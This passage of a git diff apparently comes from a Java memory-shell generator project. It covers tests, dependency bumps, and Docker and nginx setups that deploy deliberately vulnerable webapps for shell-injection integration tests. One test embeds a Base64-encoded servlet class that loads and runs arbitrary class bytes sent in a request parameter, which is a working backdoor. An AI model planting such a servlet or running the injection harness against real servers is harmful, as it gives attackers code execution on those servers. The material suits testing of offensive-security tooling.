byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.SERVLET)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1);
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
classReader.accept(classVisitor, 0);
Set<String> referencedClasses = classVisitor.getReferencedClasses();
assertTrue(referencedClasses.contains("jakarta/servlet/Servlet"));
}
} }
@@ -9,11 +9,9 @@ import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.junit.platform.commons.util.ReflectionUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -2,7 +2,7 @@ package com.reajason.javaweb.probe.payload;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
* @author ReaJason * @author ReaJason
+12 -7
View File
@@ -1,29 +1,31 @@
[versions] [versions]
asm = "9.9" asm = "9.9.1"
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2" bcel = "5.2"
javax-servlet-api = "3.0.1" javax-servlet-api = "3.0.1"
jakarta-servlet-api = "5.0.0"
javax-websocket-api = "1.1" javax-websocket-api = "1.1"
jakarta-websocket-api = "2.2.0"
spring-webmvc = "5.3.24" spring-webmvc = "5.3.24"
spring-webflux = "5.3.24" spring-webflux = "5.3.24"
reactor-netty = "1.1.25" reactor-netty = "1.1.25"
jackson = "2.19.0" jackson = "2.19.0"
jetbrains-annotations = "26.0.2" jetbrains-annotations = "26.0.2"
byte-buddy = "1.18.2" byte-buddy = "1.18.4"
commons-io = "2.21.0" commons-io = "2.21.0"
commons-lang3 = "3.20.0" commons-lang3 = "3.20.0"
commons-codec = "1.20.0" commons-codec = "1.20.0"
logback = "1.5.22" logback = "1.5.24"
okhttp3 = "5.3.2" okhttp3 = "5.3.2"
fastjson2 = "2.0.60" fastjson2 = "2.0.60"
java-websocket = "1.6.0" java-websocket = "1.6.0"
mockito = "5.20.0" mockito = "5.20.0"
hamcrest = "3.0" hamcrest = "3.0"
junit-jupiter = "5.14.1" junit-jupiter = "5.14.2"
junit-pioneer = "2.3.0" junit-pioneer = "2.3.0"
junit-platform = "1.14.1" junit-platform = "1.14.2"
testcontainers = "2.0.3" testcontainers = "2.0.3"
[libraries] [libraries]
@@ -32,7 +34,10 @@ asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
jna = { module = "net.java.dev.jna:jna", version.ref = "jna" } jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" } jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" } javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" } javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" } spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" } spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" } reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -63,5 +68,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins] [plugins]
lombok = { id = "io.freefair.lombok", version = "8.14.2" } lombok = { id = "io.freefair.lombok", version = "9.2.0" }
shadow = { id = "com.gradleup.shadow", version = "9.0.2"} shadow = { id = "com.gradleup.shadow", version = "9.3.1"}
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:10.1-jre11
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:8-jre8
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,58 @@
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
gzip on;
upstream tomcat_backend {
server tomcat:8080;
}
server {
listen 80;
server_name localhost;
access_log /var/log/nginx/tomcat_access.log;
error_log /var/log/nginx/tomcat_error.log;
client_max_body_size 50M;
location / {
proxy_pass http://tomcat_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
proxy_busy_buffers_size 8k;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}
-2
View File
@@ -1,2 +0,0 @@
#!/bin/bash
pgrep -f 'ASMain|GlassFishMain' | tr -d '\n'
@@ -0,0 +1,258 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.TestInstance;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.EnumSource;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.List;
import java.util.Map;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/9/19
*/
@Slf4j
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
public abstract class AbstractContainerTest {
private static final String NO_PROBE = "__NO_PROBE__";
protected static Network newNetwork() {
return Network.newNetwork();
}
protected static GenericContainer<?> buildPythonContainer(Network network) {
return new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(ContainerTool.neoGeorgDockerfile))
.withNetwork(network);
}
protected static GenericContainer<?> buildContainer(ContainerTestConfig config, Network network) {
GenericContainer<?> container = createContainer(config);
if (config.getWarFile() != null && StringUtils.isNotBlank(config.getWarDeployPath())) {
container.withCopyToContainer(config.getWarFile(), config.getWarDeployPath());
}
if(config.getJarFile() != null && StringUtils.isNotBlank(config.getJarDeployPath())){
container.withCopyToContainer(config.getJarFile(), config.getJarDeployPath());
}
if (config.getJattachFile() != null) {
container.withCopyToContainer(config.getJattachFile(), "/jattach");
}
if (config.getPidScript() != null) {
container.withCopyToContainer(config.getPidScript(), "/fetch_pid.sh");
}
Map<String, String> env = config.getEnv();
if (env != null) {
env.forEach(container::withEnv);
}
if (network != null) {
container.withNetwork(network);
if (StringUtils.isNotBlank(config.getNetworkAlias())) {
container.withNetworkAliases(config.getNetworkAlias());
}
}
if (config.getWaitStrategy() != null) {
container.waitingFor(config.getWaitStrategy());
} else if (StringUtils.isNotBlank(config.getHealthCheckPath())) {
container.waitingFor(Wait.forHttp(config.getHealthCheckPath()));
}
container.withExposedPorts(config.getExposedPort());
if (config.isPrivilegedMode()) {
container.withPrivilegedMode(true);
}
if(config.getCommand() != null){
container.withCommand(config.getCommand());
}
return container;
}
protected static GenericContainer<?> buildContainer(ContainerTestConfig config) {
return buildContainer(config, null);
}
protected abstract ContainerTestConfig getConfig();
@AfterAll
void tearDown() {
GenericContainer<?> container = getContainer();
if (container == null) {
return;
}
long logDelayMillis = getConfig().getLogDelayMillis();
if (logDelayMillis > 0) {
try {
Thread.sleep(logDelayMillis);
} catch (InterruptedException ex) {
Thread.currentThread().interrupt();
}
}
String logs = container.getLogs();
if (getConfig().isLogContainerOutput()) {
log.info(logs);
}
if (getConfig().isAssertLogs()) {
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(getConfig(), shellType, shellTool, packer);
}
@ParameterizedTest
@MethodSource("probeShellTypesProvider")
void testProbeInject(String shellType) {
if (NO_PROBE.equals(shellType)) {
Assumptions.assumeTrue(false, "No probe shell types configured.");
}
runProbeInject(getConfig(), shellType);
}
@ParameterizedTest
@EnumSource(names = {"ClassLoaderJSP", "ClassLoaderJSPUnicode", "DefineClassJSP", "DefineClassJSPUnicode", "JSPX", "JSPXUnicode"})
void testJspPackers(Packers packer) {
ContainerTestConfig config = getConfig();
if (config.isEnableJspPackerTest()) {
String shellType = config.isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER;
String shellTool = ShellTool.Command;
runShellInject(config, shellType, shellTool, packer);
}
}
protected Stream<Arguments> casesProvider() {
return generateTestCases(getConfig());
}
protected Stream<String> probeShellTypesProvider() {
List<String> probeShellTypes = getConfig().getProbeShellTypes();
if (probeShellTypes == null || probeShellTypes.isEmpty()) {
return Stream.of(NO_PROBE);
}
return probeShellTypes.stream();
}
protected static Stream<Arguments> generateTestCases(ContainerTestConfig config) {
if (config.getUnSupportedCases() != null || config.getUnSupportedShellTools() != null) {
return TestCasesProvider.getTestCases(
config.getImageName(),
config.getServer(),
config.getSupportedShellTypes(),
config.getTestPackers(),
config.getUnSupportedCases(),
config.getUnSupportedShellTools());
}
return TestCasesProvider.getTestCases(
config.getImageName(),
config.getServer(),
config.getSupportedShellTypes(),
config.getTestPackers());
}
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
if (StringUtils.isNotBlank(config.getServerVersion())) {
ShellAssertion.shellInjectIsOk(url, config.getServer(), config.getServerVersion(), shellType, shellTool,
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
} else {
ShellAssertion.shellInjectIsOk(url, config.getServer(), shellType, shellTool,
config.getTargetJdkVersion(), packer, getContainer(), getPythonContainer());
}
}
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
if (StringUtils.isNotBlank(config.getServerVersion())) {
ShellAssertion.testProbeInject(url, config.getServer(), config.getServerVersion(), shellType, probeTargetJdkVersion);
} else {
ShellAssertion.testProbeInject(url, config.getServer(), shellType, probeTargetJdkVersion);
}
}
protected String getUrl() {
GenericContainer<?> container = getContainer();
ContainerTestConfig config = getConfig();
String host = container.getHost();
int port = container.getMappedPort(config.getExposedPort());
String url = "http://" + host + ":" + port;
String contextPath = config.getContextPath();
if (StringUtils.isNotBlank(contextPath)) {
if (!contextPath.startsWith("/")) {
contextPath = "/" + contextPath;
}
url += contextPath;
}
log.info("container started, app url is : {}", url);
return url;
}
protected GenericContainer<?> getContainer() {
return getContainerField("container", true);
}
protected GenericContainer<?> getPythonContainer() {
return getContainerField("python", false);
}
private static GenericContainer<?> createContainer(ContainerTestConfig config) {
if (config.getDockerfilePath() != null) {
return new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(config.getDockerfilePath()));
}
if (StringUtils.isBlank(config.getImageName())) {
throw new IllegalArgumentException("imageName is required when dockerfilePath is not set.");
}
return new GenericContainer<>(config.getImageName());
}
private GenericContainer<?> getContainerField(String fieldName, boolean required) {
Field field = findField(getClass(), fieldName);
if (field == null) {
if (required) {
throw new IllegalStateException("Missing @" + fieldName + " container on " + getClass().getName());
}
return null;
}
try {
field.setAccessible(true);
Object value = field.get(Modifier.isStatic(field.getModifiers()) ? null : this);
return (GenericContainer<?>) value;
} catch (IllegalAccessException ex) {
throw new IllegalStateException("Unable to access " + fieldName + " on " + getClass().getName(), ex);
}
}
private static Field findField(Class<?> type, String name) {
Class<?> current = type;
while (current != null) {
try {
return current.getDeclaredField(name);
} catch (NoSuchFieldException ex) {
current = current.getSuperclass();
}
}
return null;
}
}
@@ -0,0 +1,147 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.packer.Packers;
import lombok.Builder;
import lombok.Getter;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.tuple.Triple;
import org.testcontainers.containers.wait.strategy.WaitStrategy;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/9/19
*/
@Getter
@Builder
public class ContainerTestConfig {
private final String imageName;
private final Path dockerfilePath;
private final String command;
private final String server;
private final String serverVersion;
@Builder.Default
private final int targetJdkVersion = Opcodes.V1_8;
private final Integer probeTargetJdkVersion;
@Builder.Default
private final int exposedPort = 8080;
@Builder.Default
private final String contextPath = "/app";
@Builder.Default
private final String healthCheckPath = "/app";
private final WaitStrategy waitStrategy;
private final MountableFile warFile;
private final String warDeployPath;
private final MountableFile jarFile;
private final String jarDeployPath;
@Builder.Default
private final MountableFile jattachFile = ContainerTool.jattachFile;
private final MountableFile pidScript;
private final List<String> supportedShellTypes;
private final List<Packers> testPackers;
private final List<String> probeShellTypes;
private final List<Triple<String, String, Packers>> unSupportedCases;
private final List<String> unSupportedShellTools;
@Builder.Default
private final boolean assertLogs = true;
@Builder.Default
private final boolean logContainerOutput = true;
@Builder.Default
private final long logDelayMillis = 0L;
@Builder.Default
private final boolean privilegedMode = false;
@Builder.Default
private final String networkAlias = "app";
private final Map<String, String> env;
@Builder.Default
private final boolean jakarta = false;
@Builder.Default
private final boolean enableJspPackerTest = true;
public static ContainerTestConfigBuilder tomcat(String imageName) {
return builder()
.imageName(imageName)
.server(Server.Tomcat)
.warFile(ContainerTool.warFile)
.warDeployPath("/usr/local/tomcat/webapps/app.war")
.pidScript(ContainerTool.tomcatPid);
}
public static ContainerTestConfigBuilder jetty(String imageName) {
return builder()
.imageName(imageName)
.server(Server.Jetty)
.warFile(ContainerTool.warFile)
.warDeployPath("/var/lib/jetty/webapps/app.war")
.pidScript(ContainerTool.jettyPid);
}
public static ContainerTestConfigBuilder resin(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Resin)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.resinPid);
}
public static ContainerTestConfigBuilder jboss(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.JBoss)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.jbossPid);
}
public static ContainerTestConfigBuilder undertow(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.Undertow)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.jbossPid);
}
public static ContainerTestConfigBuilder glassFish(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.GlassFish)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.glassfishPid);
}
public static ContainerTestConfigBuilder webLogic(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.WebLogic)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.weblogicPid)
.exposedPort(7001);
}
public static ContainerTestConfigBuilder webSphere(String imageName, String warDeployPath) {
return builder()
.imageName(imageName)
.server(Server.WebSphere)
.warFile(ContainerTool.warFile)
.warDeployPath(warDeployPath)
.pidScript(ContainerTool.webspherePid)
.exposedPort(9080)
.privilegedMode(true);
}
}
@@ -18,22 +18,23 @@ public class ContainerTool {
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666);
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
public static final Path springBoot2Dockerfile = Path.of("..", "vul", "vul-springboot2", "Dockerfile").toAbsolutePath();
public static final Path springBoot2JettyDockerfile = Path.of("..", "vul", "vul-springboot2-jetty", "Dockerfile").toAbsolutePath();
public static final Path springBoot2UndertowDockerfile = Path.of("..", "vul", "vul-springboot2-undertow", "Dockerfile").toAbsolutePath();
public static final Path springBoot2WebfluxDockerfile = Path.of("..", "vul", "vul-springboot2-webflux", "Dockerfile").toAbsolutePath();
public static final Path springBoot3Dockerfile = Path.of("..", "vul", "vul-springboot3", "Dockerfile").toAbsolutePath();
public static final Path springBoot3WebfluxDockerfile = Path.of("..", "vul", "vul-springboot3-webflux", "Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux")); public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath());
public static final MountableFile springBoot2JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.jar").toAbsolutePath());
public static final MountableFile springBoot2JettyJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-jetty", "build", "libs", "vul-springboot2-jetty.jar").toAbsolutePath());
public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath());
public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "assets", "agent", "jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh")); public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh"));
public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh")); public static final MountableFile apusicPid = MountableFile.forHostPath(Path.of("script", "apusic_pid.sh"));
public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh")); public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh"));
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh"));
@@ -48,28 +49,4 @@ public class ContainerTool {
log.info("container started, app url is : {}", url); log.info("container started, app url is : {}", url);
return url; return url;
} }
public static String getUrlFromSpringBoot(GenericContainer<?> container) {
